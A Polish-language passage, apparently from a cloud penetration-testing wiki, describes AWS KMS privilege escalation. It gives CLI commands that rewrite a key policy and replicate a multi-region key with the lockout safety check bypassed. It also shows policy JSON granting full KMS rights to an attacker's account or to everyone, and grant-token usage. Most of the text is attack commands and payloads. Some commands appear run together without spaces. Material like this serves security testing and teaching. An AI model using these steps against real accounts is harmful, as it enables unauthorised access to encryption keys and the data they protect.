Z tymi uprawnieniami możliwe jest modyfikowanie uprawnień dostępu do klucza, aby mógł być używany przez inne konta lub nawet przez każdego:
awskmslist-keysawskmslist-key-policies--key-id<id># Although only 1 max per keyawskmsget-key-policy--key-id<id>--policy-name<policy_name># AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
awskmsput-key-policy--key-id<id>--policy-name<policy_name>--policyfile:///tmp/policy.json
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::<origin_account>:root"},"Action":"kms:*","Resource":"*"},{"Sid":"Allow all use","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::<attackers_account>:root"},"Action": [ "kms:*" ],"Resource":"*"}]}
Zauważ, że może minąć kilka minut, zanim KMS pozwoli użytkownikowi na użycie klucza po wygenerowaniu grantu. Po upływie tego czasu, podmiot może używać klucza KMS bez potrzeby specyfikowania czegokolwiek.
Jednakże, jeśli konieczne jest natychmiastowe użycie grantu użyj tokena grantu (sprawdź poniższy kod).
Dla więcej informacji przeczytaj to.
# Use the grant token in a requestawskmsgenerate-data-key \--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \–-key-spec AES_256 \--grant-tokens $token
Należy zauważyć, że możliwe jest wylistowanie grantów kluczy za pomocą:
awskmslist-grants--key-id<value>
kms:CreateKey, kms:ReplicateKey
Z tymi uprawnieniami możliwe jest replikowanie klucza KMS z włączoną obsługą wielu regionów w innym regionie z inną polityką.
Tak więc, atakujący mógłby to wykorzystać do uzyskania privesc do klucza i jego użycia
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal":{"AWS":"*"},"Action":"kms:*","Resource":"*"}]}
kms:Decrypt
To uprawnienie pozwala na użycie klucza do odszyfrowania informacji.
Więcej informacji znajdziesz tutaj: